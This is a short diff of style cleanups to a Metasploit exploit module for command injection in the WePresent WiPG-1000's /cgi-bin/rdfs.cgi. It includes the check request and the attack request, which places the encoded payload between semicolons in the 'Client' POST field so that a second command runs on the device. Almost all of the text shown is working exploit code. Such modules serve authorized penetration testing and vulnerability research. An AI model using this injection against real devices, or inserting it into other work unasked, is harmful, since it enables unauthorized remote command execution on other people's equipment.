Make minor changes

modules/exploits/linux/http/wipg1000_cmd_injection.rb

@@ -3,8 +3,6 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-require 'msf/core'
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -50,12 +48,12 @@ class MetasploitModule < Msf::Exploit::Remote
   def check
     res = send_request_cgi({
       'method' => 'GET',
-      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi')
+      'uri'    => '/cgi-bin/rdfs.cgi'
     })
-    if res and res.body =~ /Follow administrator instructions to enter the complete path/ then
-      return Exploit::CheckCode::Appears
+    if res && res.body.include?("Follow administrator instructions to enter the complete path")
+      Exploit::CheckCode::Appears
     else
-      return Exploit::CheckCode::Safe
+      Exploit::CheckCode::Safe
     end
   end
 
@@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status('Sending request')
     send_request_cgi(
       'method' => 'POST',
-      'uri'    => normalize_uri('/cgi-bin/rdfs.cgi'),
+      'uri'    => '/cgi-bin/rdfs.cgi',
       'vars_post' => {
         'Client' => ";#{payload.encoded};",
         'Download' => 'Download'